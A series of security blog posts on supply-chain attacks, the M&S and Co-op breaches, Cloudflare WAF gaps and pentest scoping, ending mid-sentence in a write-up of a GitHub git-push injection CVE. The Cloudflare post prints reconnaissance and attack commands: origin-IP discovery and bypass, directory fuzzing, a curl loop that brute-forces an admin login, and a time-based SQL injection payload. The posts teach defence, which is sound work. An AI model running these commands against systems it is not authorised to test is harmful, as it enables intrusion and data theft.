The threat group tracked as "TeamPCP" compromised the TanStack open-source framework — a widely used set of React/TypeScript libraries. The attack propagated to downstream consumers, including OpenAI, where two employee devices were affected and limited credentials were exposed. OpenAI confirmed no customer data or core systems were impacted, but an exposure window existed.

What made this significant wasn't the impact at OpenAI specifically — it was the mechanism. TanStack is a transitive dependency in thousands of projects. Most teams don't audit it directly. The attack reached a high-value target not by breaking through a perimeter, but by travelling silently through the dependency chain.

The lesson: You don't just trust your direct dependencies. You trust their dependencies, and their dependencies' dependencies. The attack surface is recursive.

The Anatomy of a Supply Chain Attack

Supply chain attacks follow a predictable pattern. Understanding it helps you defend against it:

Compromise a trusted upstream — package registry, CA, build server, or vendor
Inject malicious payload — trojanized update, backdoor, or signed malware
Legitimate distribution channel delivers it — npm install, auto-update, official download
Downstream consumers trust and execute — CI/CD pipelines, developer machines, production servers
Attacker gains access, credentials, or persistence — the damage is done before anyone notices

Unlike a direct attack on your application, you may never see the initial vector. The malicious code arrives through a channel you've already whitelisted.

Why Traditional Security Testing Misses This

Most security programmes focus on what you can control directly: your code, your infrastructure, your configurations. That's necessary but insufficient.

Here's what you test versus what supply chain attacks actually target:

What You Test	What Supply Chain Attacks Target
Your application code	Your dependencies' code
Your network perimeter	Your build pipeline
Your servers	Your developers' machines
Your WAF rules	Your certificate trust chain
Your access controls	Your vendors' access controls
Your vulnerability scan	Transitive dependencies you've never reviewed

This is why a clean scan report can be misleading. Your code can be flawless while the library it imports is silently exfiltrating environment variables.

Real-World Attack Surface: What We Find During Pentests

When we conduct supply chain-focused assessments, we consistently find the same categories of exposure:

Dependency Confusion & Typosquatting

# Checking for internal package names that could be claimed on public registries
npm config list --json | grep registry
pip config list 2>/dev/null | grep index-url

# Common finding: internal package names that are
# not reserved on npm/PyPI — anyone could register them

Many organisations publish internal packages with names that are available on public registries. An attacker can upload a malicious package with the same name but a higher version number — and npm install or pip install may pull the attacker's version without any warning.

Exposed CI/CD Credentials

# What we look for in accessible CI configurations
# Common findings: plaintext tokens, overly broad IAM roles,
# secrets in environment variables visible to any build step

# Example: GitHub Actions workflow with broad permissions
grep -r "AWS_ACCESS_KEY_ID\|NPM_TOKEN\|DOCKER_PASSWORD" .github/workflows/

# The risk: any dependency that runs a postinstall script
# can read these environment variables

A compromised dependency running as a postinstall script has access to every environment variable in your CI pipeline — including deployment keys, registry tokens, and cloud credentials.

Unsigned or Unpinned Dependencies

// Dangerous: floating version ranges
{
  "dependencies": {
    "tanstack-react-table": "^8.x"
  }
}

// Better: pinned versions with integrity hashes
{
  "dependencies": {
    "tanstack-react-table": "8.20.5"
  }
}
// With package-lock.json integrity field verified

Without integrity checking, a compromised registry can serve different code to different consumers — enabling targeted supply chain attacks that are nearly impossible to detect through casual inspection.

Build Pipeline Integrity

The DAEMON Tools incident is a textbook example of what we routinely find: build servers with unrestricted internet access, signing keys stored on the same machine that runs builds, no reproducible build verification (nobody checks that source matches binary), and deployment pipelines that auto-publish without human review.

How the Nightmare-Eclipse Campaign Widens the Risk

While you're thinking about supply chain risk, there's a parallel threat worth noting. The Nightmare-Eclipse campaign (disclosed May 2026) has been actively exploiting Windows Defender and BitLocker vulnerabilities, including several that remain unpatched.

The connection to supply chain risk is worth thinking through: if your developers' machines are compromised — with Defender blinded so the system appears healthy — any code they push, any credential they use, and any build they run is potentially tainted.

A plausible attack chain:

Compromise a developer's machine via Nightmare-Eclipse
Use their legitimate credentials to push malicious code
The code passes through your CI/CD pipeline with valid signatures
Your supply chain is now poisoned — from the inside

This is a hypothetical scenario, not a confirmed attack chain from these incidents — but it illustrates why endpoint security and supply chain security can't be treated as separate problems.

Actionable Steps for Software Teams

Immediate (This Week)

Audit your dependency tree. Run npm audit, pip-audit, or your ecosystem's equivalent. But more importantly: do you know what your dependencies' dependencies are doing?

Pin and verify. Lock dependency versions and enable integrity checking. In npm, ensure package-lock.json integrity fields are present. In Python, use hash-checking mode:

pip install --require-hashes -r requirements.txt

Check for dependency confusion. Are any of your internal package names available on public registries? If so, either reserve them or configure scoped registries.

Short-Term (This Month)

Audit CI/CD secrets. Which environment variables are exposed to build steps? Could a postinstall script read your deployment keys? Scope permissions to the minimum required.

Review third-party access. What access do your vendors, contractors, and SaaS tools have to your systems? The DigiCert incident is a reminder that trust in your tooling is only as strong as the security of whoever manages it.

Enable SBOM generation. Start producing Software Bills of Materials for your builds. You can't assess risk in dependencies you can't enumerate.

Strategic (Ongoing)

Include supply chain in your pentest scope. Standard application pentests rarely cover dependency risk, build pipeline security, or developer workstation exposure. Ask your provider specifically about supply chain testing.

Implement SLSA or equivalent build attestation. The SLSA framework (Supply-chain Levels for Software Artifacts) provides a structured approach to build integrity verification.

Monitor for anomalous dependency behaviour. Tools like Socket (for npm) can detect when packages make unexpected network calls, access the filesystem outside their scope, or introduce new permissions.

The Bottom Line

Your organisation's security perimeter no longer ends at your firewall — or your codebase. It extends through every package you install, every vendor you trust, every certificate you validate, and every build pipeline you run.

May 2026 demonstrated that attackers have shifted focus from breaking through defences to poisoning supply chains. The question isn't whether your team is exposed — it's whether you'll detect it before the damage is done.

Start with visibility. Know what you're running, where it came from, and whether it's what you think it is. That's the foundation everything else builds on.

This article is written for developers and engineering teams who want to understand how software supply chain attacks work in practice and what concrete steps reduce exposure.

Source Notes

Two Retailers, One Attack: What Really Decides Who Survives a Breach

Stanley A. — Fri, 29 May 2026 13:47:00 +0000

In April 2025, two of Britain's most recognized retailers were hit by the same adversary, using the same attack technique, in the same month. One lost hundreds of millions of dollars. The other noticed within minutes and kept the lights on.

For readers outside the UK: Marks & Spencer (M&S) and the Co-op Group are household names in Britain. M&S — founded in 1884 — operates around 1,400 stores across the country, spanning food, clothing, and homeware, with a major online shopping business. The Co-op Group is one of the largest consumer cooperatives in the world, running thousands of food stores and funeral homes across the UK, serving millions of members. These aren't small businesses. They're institutions woven into daily British life — the kind of organizations where a disruption doesn't just make the tech press; it makes the evening news.

Marks & Spencer lost an estimated $400 million in operating profit. Their online operations went dark for over three weeks. Contactless payments failed across 2,300 food stores. The attack wiped more than $930 million from the company's market value.

The Co-op Group — targeted with the exact same social engineering play — detected the intrusion within minutes. Their security operations center locked the compromised account immediately. Customer-facing services continued uninterrupted. Total business impact: negligible.

Same attacker. Same technique. Same month. Wildly different outcomes.

This isn't a story about social engineering. It's not even really a story about M&S or the Co-op. It's a story about the three questions that separate organizations that survive a breach from those that don't — and why most security spending doesn't move the needle on any of them.

The attack, in brief

The threat group known as Scattered Spider (also tracked as UNC3944, Octo Tempest, and Muddled Libra by various vendors) is a predominantly English-speaking collective — many of them teenagers and young adults — that has compromised over 100 organizations worldwide. Their signature move isn't malware exploitation. It's picking up the phone.

At M&S, they called a third-party IT help desk, impersonated an employee, and convinced the support agent to reset credentials and disable multi-factor authentication. At the Co-op, they did the same thing — called up, answered security questions, got an account reset.

The technique was identical. What happened next was not.

Question 1: Can you detect it?

At M&S, the attackers operated freely for approximately two days before anyone noticed something was wrong. By the time the first anomaly was flagged — late afternoon on April 19 — the adversary had already been inside the network since at least April 17. The first crisis meeting didn't happen until 10 PM that night.

In those 48 hours of undetected access, the attackers had already stolen the NTDS.dit file — the core Active Directory database containing password hashes for every user in the organization. From there, they moved laterally, escalated privileges, and eventually deployed DragonForce ransomware across VMware ESXi infrastructure during the Easter weekend.

Two days of free movement. That's an eternity in incident response terms.

At the Co-op, the SOC detected unusual account behavior within minutes. Behavioral analytics flagged the anomalous activity the moment the attacker started using the reset credentials in ways that didn't match the legitimate user's patterns. The account was immediately restricted.

Rob Elsey, the Co-op's Chief Digital and Information Officer, told the UK Parliament's Business and Trade Sub-Committee:

"Our cyber-defenses kicked in immediately and restricted the activities of that account."

That word — immediately — is doing a lot of work. It's the difference between a contained incident and a catastrophe.

Here's the uncomfortable truth: many organizations have invested heavily in detection tools — SIEM platforms, EDR agents, behavioral analytics engines, threat intelligence feeds — but haven't done the foundational work of understanding what "normal" looks like in their own environment. When you don't know your baseline, your tools generate noise. When they generate noise, your team starts ignoring alerts. When your team ignores alerts, you get M&S's 48-hour detection gap.

The detection problem isn't a tool problem. It's an architecture and awareness problem.

Question 2: When you detect it, how fast and how well do you respond?

Detection without response is a dashboard with flashing lights nobody acts on. What matters is what happens in the minutes and hours after the alert fires.

At M&S, the response was slow and reactive. The crisis meeting on April 19 wasn't a coordinated containment exercise — it was the beginning of a scramble. By the time leadership was fully mobilized, the attackers were already positioning ransomware.

The Co-op's response tells a different story. Within the same day as the detection:

VPN access was locked down across the organization
Remote access was paused
A 12-to-24-hour effort locked down compromised accounts across the environment
Later that week, when the team detected software beaconing to a threat actor's command-and-control server, they proactively paused all communication within the affected network zone

That last point is critical. The Co-op didn't just react to what they could see — they anticipated what they couldn't. They found roughly 40 domain controllers had been touched and decided the right move was to isolate the entire zone rather than play whack-a-mole with individual compromised systems.

This wasn't improvisation. Rob Elsey again, under parliamentary questioning:

"We had actually war-gamed this precise scenario before as a leadership team."

They had rehearsed this. Not in the abstract — they had specifically practiced responding to a social engineering-driven credential compromise. When the real thing happened, the playbook already existed. The decisions were fast because the thinking had already been done.

Question 3: Does your architecture let you respond without destroying your own business?

This is the question I find most organizations haven't even considered. And it's the one that matters most when the pressure is on.

When the Co-op made the decision to isolate a network zone, online retail and payment systems continued operating normally. Why? Because they had invested in network segmentation. The online retail platform, payment processing, and customer-facing services sat on separate, insulated infrastructure. Containing the breach in one zone didn't require taking down the entire business.

M&S didn't have that luxury. Their infrastructure was more tightly coupled — legacy systems intertwined with modern services in ways that made surgical containment nearly impossible. When the ransomware spread, it hit VMware ESXi hosts supporting online shopping, distribution logistics, and in-store systems simultaneously. To stop the bleeding, M&S had to shut down broad swaths of their own operations — including online orders, which stayed suspended for over three weeks.

The result: a company that had tripled its cybersecurity headcount and doubled its security spend in recent years still couldn't contain a breach without crippling itself. The spending was real. The architecture to make that spending effective was not.

The tools trap

I have walked into organizations that own dozens of cybersecurity products — SIEM, SOAR, EDR, XDR, NDR, CSPM, CASB, email security, identity governance, privileged access management, vulnerability scanners. The list goes on. In some cases, the security team themselves couldn't explain what half the tools did, how they interconnected, or what the escalation path looked like when a particular tool flagged something.

They had accumulated a security stack that looked impressive on a procurement spreadsheet but was essentially incoherent in practice.

And here's the deeper problem: in those same organizations, the security team often couldn't accurately describe their own company's system architecture. They didn't fully understand which systems depended on which, where the critical data flows were, what the trust boundaries looked like, or where a lateral movement path would lead once an attacker was inside.

You cannot protect what you don't understand. No amount of tooling compensates for that gap.

The Co-op didn't succeed because they bought better products. They succeeded because they understood their environment deeply enough to design architecture that supported rapid, targeted response — and they had practiced using it.

What actually matters

The M&S and Co-op comparison isn't about one company being smarter or more careful. It's about the fact that the same attack, against two major retailers, produced completely different outcomes — and the deciding factors had almost nothing to do with the attack itself.

Three questions:

Can you detect it? Not "do you have detection tools" — but does your team actually know what normal looks like in your environment, and can they distinguish signal from noise fast enough to matter?

Can you respond effectively? Not "do you have an incident response plan" — but have you rehearsed it? Under realistic conditions? With the people who will actually be in the room when it happens?

Does your architecture allow you to respond without destroying your own business? Not "is your network segmented on paper" — but can you actually isolate a compromised zone while keeping critical services running?

These are architecture questions. Design questions. Understanding questions. They're answered before the breach happens — or not at all.

The harder truth

The M&S breach cost hundreds of millions of dollars. It disrupted millions of customers. It dominated UK headlines for weeks.

And it started with a phone call.

Social engineering works because it exploits the way organizations actually operate — the help desks, the password reset workflows, the third-party support relationships that keep businesses running. You can't eliminate that attack surface entirely without eliminating the business processes themselves.

What you can do is make sure that when that phone call succeeds — and statistically, at some point, it will — your organization isn't betting on the attacker making a mistake. You can limit the blast radius through architecture. You can ensure your team has practiced the response. You can tune your detection to your actual environment, not a generic baseline.

The Co-op proved that preparation works. M&S proved that spending without preparation is expensive in ways the procurement process never accounts for.

This article is written for developers and engineering teams who want to understand why security tooling alone doesn't determine breach outcomes — and what actually does.

Sources

(https://committees.parliament.uk/oralevidence/16269/pdf)

Cloudflare Is Not Enough: Two Security Gaps We Still Find Behind the WAF

Stanley A. — Tue, 19 May 2026 12:42:01 +0000

Most teams I speak with have Cloudflare in front of their site. That is usually a good thing — Cloudflare absorbs DDoS traffic, proxies requests, applies managed WAF rules, and makes a messy internet-facing stack much easier to operate.

But one dangerous assumption often follows:

"We are behind Cloudflare, so we are protected."

That is not how it works. Cloudflare only protects traffic that actually flows through Cloudflare. And even when traffic does flow through it, a WAF does not automatically fix missing authentication, exposed development environments, broken authorization, SQL injection, or business logic flaws.

Here are two patterns we still find regularly during blackbox web application testing. What makes this more pressing today: with AI-assisted tooling, the reconnaissance and exploitation steps across both scenarios can be chained and executed in a matter of minutes — work that once took hours of manual effort.

1. The origin server is still reachable directly

A common Cloudflare mistake is moving DNS behind the orange cloud but leaving the origin server exposed to the public internet.

Attackers do not need magic to find this. They use the same passive sources defenders should already be checking:

# Certificate transparency logs
curl -s "https://crt.sh/?q=shop.example.com&output=json" | jq '.[].name_value' | sort -u

# Historical DNS from SecurityTrails, DNSDB, ViewDNS, etc.
# Look for old A records that pre-date the Cloudflare migration.

# Shodan check once an origin candidate is found
shodan host <origin-IP>

Once a candidate IP is identified, a direct request with the correct Host header can confirm whether Cloudflare is being bypassed. The -k flag is used here to skip certificate validation, since the origin cert may not match the hostname:

curl -vk --resolve shop.example.com:443:<origin-IP> https://shop.example.com/

The response headers tell you immediately where you are. Through Cloudflare, you would expect to see its fingerprints:

< Server: cloudflare
< CF-RAY: 7a1b2c3d4e5f6789-LHR

Direct to origin, you might instead see:

< HTTP/1.1 200 OK
< Server: nginx/1.22.1 (Ubuntu)
< X-Powered-By: PHP/8.1.2
< Content-Type: text/html; charset=UTF-8

At that point, the WAF is not in the path at all. Any exposed admin panel, forgotten upload endpoint, missing rate limit, or application bug is reachable directly.

Directory discovery against the origin might look like this. The Host header is required so the server routes the request correctly:

ffuf -w /usr/share/wordlists/dirb/common.txt \
     -u https://<origin-IP>/FUZZ \
     -H "Host: shop.example.com" \
     -mc 200,301,302,403 \
     -o results.json

One recurring finding is an admin login that the team expected to be protected by Cloudflare, but is actually accessible directly on the origin. If the application also lacks login throttling, the risk compounds quickly:

for i in {1..20}; do
  curl -s -o /dev/null -w "%{http_code}\n" -X POST https://<origin-IP>/admin/login \
    -H "Host: shop.example.com" \
    -d "username=admin&password=test$i"
done

# 200
# 200
# 200
# ...no 429, no lockout, no CAPTCHA

The important point here is not "Cloudflare failed." Cloudflare was never in the request path to begin with.

2. Cloudflare is in the path, but the application is still vulnerable

The second pattern is subtler.

Sometimes Cloudflare is configured correctly. Production DNS is proxied. The origin firewall only allows Cloudflare IP ranges. Direct origin access is blocked.

But a development or staging subdomain is publicly reachable.

A typical discovery flow:

# Certificate transparency enumeration
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value' | sort -u

# Passive multi-source subdomain discovery
subfinder -d example.com -silent -o subdomains.txt

# HTTP host probing
ffuf -w /usr/share/wordlists/subdomains-top1million.txt \
     -u https://FUZZ.example.com \
     -mc 200,301,302,403 \
     -t 50

Then a hostname appears:

dev.example.com

It is orange-clouded. It resolves through Cloudflare. The origin is not directly reachable.

But the dev application loads with no VPN, no basic auth, no IP allowlist, and no authentication prompt.

At this point, Cloudflare is doing exactly what it was configured to do: proxy traffic to a publicly available hostname.

If that dev environment has debug mode enabled, the application may leak more than intended. A deliberately malformed request:

curl -s "https://dev.example.com/api/v1/accounts?account_id='"

Might return:

HTTP/1.1 500 Internal Server Error

Error: SQLSTATE[42000]: Syntax error or access violation near ''' at line 1
Query: SELECT * FROM users WHERE account_id = ''' AND status = 'active'
File: /var/www/dev/api/v1/accounts.php, Line 88

That single response exposes the stack, file paths, parameter names, and the full query shape.

A time-based injection check can then confirm exploitability. SLEEP() is MySQL-specific; adjust accordingly for other databases:

curl -s "https://dev.example.com/api/v1/accounts?account_id=1' AND SLEEP(5)-- -"

A WAF can catch some common SQL injection patterns. But it is not a replacement for parameterised queries, input validation, proper access control, and secure environment configuration. In this scenario, every request went through Cloudflare. The vulnerability still existed.

The shared lesson

These are different failure modes:

In the first case, Cloudflare is bypassed entirely because the origin is publicly exposed.
In the second case, Cloudflare is correctly in the path, but it proxies traffic into an unsafe application.

Both produce the same practical outcome: something sensitive is reachable from the public internet while the team assumes it is covered.

Checks worth running

If you operate a Cloudflare-protected application, these are a good starting point:

Audit DNS and certificate history. Check crt.sh and historical DNS sources for old origin IPs that predate the Cloudflare migration.
Test old origin IPs directly. If any candidate still responds on port 80 or 443, investigate whether it bypasses the WAF.
Restrict origin inbound traffic. Configure your origin firewall (or security group) to only accept connections from Cloudflare's published IP ranges.
Consider Cloudflare Tunnel. Rather than exposing your origin on a public IP at all, Cloudflare Tunnel creates an outbound-only connection from your server to Cloudflare, eliminating the direct exposure problem entirely.
Enumerate all DNS records, not just production. Dev, staging, preview, and internal subdomains are all worth reviewing.
Protect non-production environments. Put dev and staging behind VPN, an IP allowlist, or at minimum HTTP basic auth. None of these should be open to the public internet.
Disable debug mode outside controlled environments. Verbose error output is a significant information leak.
Rotate or audit exposed secrets. Dev environments often contain API keys, database credentials, or internal service URLs in error output or config endpoints. Treat any exposure as a potential leak.
Test application logic directly. IDOR, broken access control, SQL injection, authentication flows, and exposed admin paths all require application-layer testing that a WAF cannot perform for you.

Cloudflare is a genuinely useful tool. WAFs are worth having.

But neither tells you what is actually reachable on your infrastructure, nor how your application behaves once an attacker gets there. That requires knowing your own attack surface — and testing it.

Originally published on WardenBit

What a Free Security Snapshot Can Tell You — and What It Cannot

Stanley A. — Tue, 12 May 2026 13:02:00 +0000

What a Free Security Snapshot Can Tell You — and What It Cannot

Most small teams know their security posture needs attention. The harder question is: where do you actually start?

Do you run an automated scanner? Ask someone for a penetration test? Wait until a customer asks for evidence? Security work is easy to defer — until something breaks.

For early-stage products, ecommerce sites, web apps, APIs, and customer portals, a lightweight external security snapshot can be a sensible first step. But only if you are clear about what it is — and what it is not.

This article explains the difference.

The problem: security is often framed as all-or-nothing

Security work tends to get presented as either:

run a quick automated scan, or
commission a full penetration test.

Both have a place, but they solve different problems. An automated scan highlights obvious issues fast. A full penetration test provides deeper validation, manual testing, and formal reporting. But many small teams need something in between: initial visibility into externally visible risk, reviewed by a human, without the cost or scope of a full audit.

That is the space a security snapshot is meant to fill.

What is a security snapshot?

A security snapshot is a focused, limited review of what can be observed from the outside.

It is designed to answer questions like:

Is anything obviously exposed that should not be?
Are there visible configuration issues?
Are important security headers missing or misconfigured?
Are login, form, or public application surfaces presenting avoidable risk?
Are there signs that a deeper assessment would be worthwhile?

A good snapshot should be explicit about its scope. It should not claim to test everything. It should not imply the system is secure just because no obvious issue was found.

Think of it as an initial external visibility check — not a certificate of security.

What a snapshot can be useful for

A lightweight external review is valuable when a team wants a fast, practical picture of their public-facing exposure.

It can help with:

identifying low-hanging external issues
catching obvious configuration weaknesses
reviewing public web app or API surfaces at a high level
finding signs of missing security basics
deciding whether a deeper penetration test is justified
giving non-security stakeholders a clearer starting point

For example, a snapshot might surface missing browser security headers, exposed staging paths, suspicious public files, weak transport security settings, verbose error behavior, or risky third-party script exposure.

These findings do not require exploit-heavy testing to be useful. Sometimes the most valuable early output is simply: "Here are the visible issues worth fixing before customers, attackers, or procurement teams notice them."

What a snapshot cannot tell you

This is the part that matters most.

A security snapshot is not a full penetration test. It typically does not include:

authenticated testing across user roles
business logic testing
deep API authorization review
source code review
exploit chaining
cloud account or internal network testing
compliance certification
exhaustive coverage of every feature

It also cannot prove that an application is secure. Security is not binary. A limited external review reduces uncertainty — it does not eliminate it.

If a vendor, consultant, or tool claims a short external check makes your product "secure," treat that as a red flag.

Snapshot vs. vulnerability scan vs. penetration test

	Automated Scan	Security Snapshot	Penetration Test
Speed	Fast	Fast to moderate	Slower, scoped upfront
Depth	Surface-level	External-facing	Broad and deep
Human review	Minimal	Yes, typically	Yes
Authenticated testing	Rarely	No	Yes
Business logic	No	No	Yes
Formal report	Basic	Summary	Detailed, evidenced
Best for	Quick repeatable checks	Triage and readiness	Customer assurance, sensitive apps

The right choice depends on what you need to prove. A snapshot is a reasonable starting point for many small teams. A properly scoped penetration test is more appropriate when customers need formal assurance, or when your application handles sensitive workflows.

Why developers should care about the boundaries

Developers are often the people who have to fix the findings, explain the trade-offs, and prioritize work against product deadlines.

Clear scope protects everyone.

If a snapshot says "this endpoint appears externally exposed," that is useful. If it claims "your API authorization model is safe" without authenticated role testing, that is misleading.

If a scan reports a missing header, that may be a quick fix. If a penetration test finds an authorization flaw between tenant accounts, that requires deeper engineering attention.

Knowing the difference helps teams avoid both overreaction and false confidence.

Good questions to ask before any review

Before requesting any kind of security assessment, ask:

What exactly is in scope?
Is testing external-only or authenticated?
Will the reviewer attempt exploitation, or only passive and low-impact checks?
How will findings be validated?
What evidence will be included in the report?
What is explicitly out of scope?
What should not be submitted — passwords, secrets, customer data?

For small teams, these questions are often more important than the label attached to the service.

A practical way to use a snapshot

The best use of a lightweight snapshot is not to treat it as the final answer. Use it as a starting point:

Identify obvious external weaknesses
Fix what can be fixed quickly
Decide whether deeper testing is needed
Prepare for a paid assessment if the risk level justifies it
Improve the quality of evidence you can show customers or partners

This turns a snapshot into a first step toward better security posture — not a substitute for proper security work.

Final takeaway

A security snapshot is useful when it is honest about its limits.

It can show you what is visible from the outside, highlight avoidable exposure, and help you prioritize the next step. It should not be confused with a full penetration test, a compliance audit, or any kind of security guarantee.

For developers and small teams, that clarity is the real value.

If you want to see what a snapshot looks like in practice, WardenBit is running a limited Free Security Snapshot for selected public-facing websites, web apps, APIs, and ecommerce sites. It is a focused external review — not a free penetration test.

Apply here: wardenbit.com/free-security-snapshot

Vulnerability Scan vs Penetration Test: What Small Teams Actually Need

Stanley A. — Thu, 07 May 2026 14:51:00 +0000

This article is written for developers and small engineering teams comparing automated vulnerability scanning with human-reviewed penetration testing in the real world.

You passed a security scan. Congrats — now, can someone actually break your app?

Those are different questions. Most small teams treat them as the same one, and that is where the trouble starts.

"Vulnerability scan" and "penetration test" get used interchangeably. They are not the same thing, they do not answer the same question, and buying the wrong one for your situation wastes money while leaving real risk on the table.

Here is how to think through the difference.

The short version

A vulnerability scan is breadth-first. It checks for known issues across a target or codebase, largely through automation:

Outdated software and libraries
Missing patches and known CVEs
Common misconfigurations
Exposed ports and services
Obvious web flaws that match signatures
Dependency and container issues

A penetration test is narrower and more manual. It asks how an attacker would actually move through the application — through authentication flows, API surfaces, privilege boundaries, and business logic:

Can one user access another user's data?
Can a normal account perform admin actions?
Can checkout, pricing, or approval logic be abused?
Can an API be manipulated beyond what the UI allows?
Can low-severity weaknesses be chained into a real exploit path?

The simplest way to remember it: a scan finds candidates, a pentest validates attack paths.

That difference is what determines which one you actually need.

What a vulnerability scan is good at

Scanners are useful. Every small team should understand that up front — if you run internet-facing systems and you are not scanning them at all, you are probably leaving easy wins on the table.

A decent scanner helps you:

Catch known issues early, before they pile up
Identify missing security headers or weak TLS settings
Surface unpatched components and dependencies
Find exposed admin panels or forgotten services
Keep a repeatable baseline across CI, staging, and production

The key word is repeatable. Scans are fast, cheap relative to manual testing, and they fit normal engineering workflows. You can run them every build, every week, or every time infrastructure changes.

For small teams, that repeatability matters — security work tends to lose when it depends on someone remembering to do it.

Where scans fall short

The biggest problem with scans is not that they are bad. It is that a clean scan is too often mistaken for real assurance.

A clean scan means the scanner did not detect a known issue in the way it knows how to detect it. That leaves a lot of room for important misses.

1. Business logic is usually outside scanner depth

Scanners are not built to ask questions like:

Can a user apply a discount twice by reordering API calls?
Can an approval flow be bypassed by changing one parameter?
Can a user pull another tenant's invoice by incrementing an object ID?
Can a checkout state machine be pushed into an invalid but accepted state?

These are common places where real damage happens — and the bug is often not a classic "vulnerability" in the scanner sense. Sometimes the application is doing exactly what it was coded to do, just in a way nobody intended.

2. Authentication and authorization flaws need context

Broken access control is one of the most common high-impact issues in modern web apps and APIs. A scanner might flag a missing auth header on an obvious endpoint. What it cannot do well is reason through role boundaries, record ownership, tenant isolation, delegated access, and edge cases around session state.

That work needs a human tester who understands what different user types should and should not be able to do — and what it actually means if they can.

3. APIs are easy to underestimate

A lot of teams still think in pages. Attackers think in endpoints.

If your frontend is thin and the real logic lives in APIs, scanners may only scratch the surface unless configured carefully and backed by manual review. Even then, they often miss:

Object-level authorization issues (IDOR)
Sequence abuse and workflow manipulation
Hidden functionality not reachable from the UI
Rate-limit bypasses with business impact
Parameter tampering that only matters in context

4. Chained attacks do not show up cleanly

A low-risk misconfiguration plus a weak role check plus an over-trusting API response may add up to a serious exploit path. Scanners report findings one by one. Attackers do not.

This is one of the clearest gaps between automated detection and real security testing.

What a penetration test is supposed to add

A real penetration test adds judgment.

The tester is not just collecting findings — they are trying to understand the application, where trust lives, how data moves, and what an attacker could realistically achieve given real access.

For a small software team, the useful outputs usually look like:

Confirmed exploit paths, not just raw alerts
Fewer false positives to wade through
Better prioritization based on actual business impact
Evidence that a specific customer-facing risk was genuinely tested
Remediation guidance tied to how your app actually works

That last part matters more than it sounds. "Upgrade package X" is useful when package X is the problem. "Your account recovery flow can be abused to take over accounts under these conditions" is a different class of finding — it tells you something about how the system behaves, not just what version it runs.

When a scan is probably enough

Small teams do not need to treat every security task as a formal pentest engagement. A scan may be the right call — at least for now — when most of these are true:

The app is simple and low-risk
There is little or no sensitive customer data
Authentication is limited and user roles are minimal
There is no complicated business workflow
The main goal is routine hygiene and known-issue detection

Examples:

A mostly static marketing site with a contact form
A simple internal tool with a small user base and limited privileges
A low-complexity API in early development where the main need is basic hygiene
Pre-production environments needing frequent automated coverage while the product is still changing

In those cases, a scan is not a cop-out. It may be exactly the right first control. The mistake is treating it as the final answer indefinitely.

When a penetration test is the better fit

Manual testing becomes much easier to justify when any of these apply:

Customers upload or access sensitive data
The app has multiple roles or tenants
The system handles account, billing, or admin workflows
There is a meaningful API surface behind the UI
You need evidence for enterprise customers, procurement, or due diligence
A bug in the wrong place could enable fraud, data exposure, or privilege escalation

Common examples:

Customer portals and B2B SaaS with tenant boundaries
Ecommerce stores with account and checkout flows
Internal admin panels connected to production data
Partner dashboards and supplier portals
Apps going through serious enterprise security review

This is where the gap between "scanner clean" and "actually resilient" starts to hurt.

The practical middle ground most small teams need

In practice, the right answer is rarely scan or pentest — it is scan and pentest, at different depths and on different timelines.

A sensible setup for a small engineering team often looks like this:

Continuous or frequent scanning for baseline coverage:

Dependency and container scanning in CI
External attack-surface checks
Web scanning for obvious issues
Secret detection and infrastructure misconfiguration checks

This keeps known problems from piling up quietly.

Periodic manual testing when the application crosses a risk threshold:

Before a major launch or first enterprise deal
After significant changes to auth, billing, or permissions
When an API or admin surface has grown meaningfully complex
When the product now stores or processes more sensitive data than before

One practical heuristic: if a security incident would make the front page of your customer's internal risk report, you probably need more than a scan.

What small teams often get wrong when buying security testing

The most common mistake is paying for a "pentest" that is mostly a scan with a nicer PDF.

That usually shows up as:

The provider asks almost nothing about roles, workflows, or APIs
Scoping stays vague
The report reads like tool output with light editing
There is little evidence of manual validation
Findings are generic and hard to map to real business risk
The timeline seems too short for the scope promised

Small, focused manual engagements can be perfectly valid — scope matters more than duration. But you should be able to tell what manual work actually happened.

Questions worth asking any provider:

How much authenticated testing is included?
Will you test multiple user roles?
How do you approach APIs that sit behind the frontend?
How much of the work is manual versus automated?
Do you validate exploitability, or mostly report potential issues?
What kinds of business logic or authorization flaws are in scope?
Will the report show evidence and remediation context?

If those questions produce fuzzy answers, the label on the quote matters less than the testing depth behind it.

A simple rule of thumb

Run scans for coverage. Buy pentests for confidence.

Use scans when you want repeatable detection of known issues at low ongoing cost.

Use pentests when you need a human to answer: "What could somebody actually do with this system?"

Final takeaway

Vulnerability scans and penetration tests solve different problems, and neither one is a substitute for the other.

A scan helps you find known issues at scale and keep security hygiene from drifting. A penetration test helps you understand whether your application, API, and workflows can be abused in ways automation is unlikely to model well.

For small teams, the smartest move is matching the testing method to the risk you actually have — not chasing the most impressive security label on the invoice.

If the application is simple, a scan may genuinely be enough for now. If the product has real users, real trust boundaries, and real business consequences when something goes wrong, manual testing starts paying for itself quickly.

At that point, "we already run scans" is not an answer. It is the start of a longer conversation — and the pentest is how you actually finish it.

If your team is specifically reviewing API security, I also published a practical checklist here:

API Security Testing Checklist for Software Teams
https://wardenbit.com/posts/api-security-testing-checklist-for-software-teams.html

CVE-2026-3854: What GitHub's Git Push RCE Teaches Developers About Trust Boundaries

Stanley A. — Wed, 29 Apr 2026 11:03:23 +0000

A serious vulnerability in GitHub’s Git infrastructure is a useful reminder that security boundaries do not disappear just because traffic is “internal.”

CVE-2026-3854 was a remote code execution vulnerability in GitHub’s git push processing pipeline. It affected GitHub Enterprise Server and, before GitHub’s mitigation, GitHub.com and GitHub Enterprise Cloud environments. The issue was reported by Wiz through GitHub’s Bug Bounty program and publicly disclosed after fixes were available.

The technical details are interesting, but the broader lesson is more important for developers: user-controlled data can remain dangerous even after it passes through authenticated workflows, internal protocols, service headers, queues, and trusted backend systems.

There is also an AI security angle. Wiz described this as one of the first critical vulnerabilities discovered in closed-source binaries using AI-assisted reverse engineering. Their researchers used AI-augmented workflows, including IDA MCP, to analyze compiled components, reconstruct internal protocols, and follow how data moved across GitHub’s Git infrastructure.

This is not only a GitHub story. It is a trust boundary story. It is also a signal of how AI-assisted security research is changing the way complex systems are analyzed.

What happened?

CVE-2026-3854 was an improper neutralization / command injection vulnerability in GitHub’s Git push pipeline.

According to GitHub and Wiz, the vulnerability involved user-supplied Git push option values. During a git push, those values were included in internal service headers without sufficient sanitization.

Because the internal metadata format used a delimiter character that could also appear in user input, an attacker could inject additional metadata fields. Downstream services could then interpret those injected fields as trusted internal values.

In practical terms, a low-privileged authenticated user with push access to a repository could craft a malicious git push operation that influenced trusted backend processing.

The key condition was not:

admin access
access to a sensitive private repository
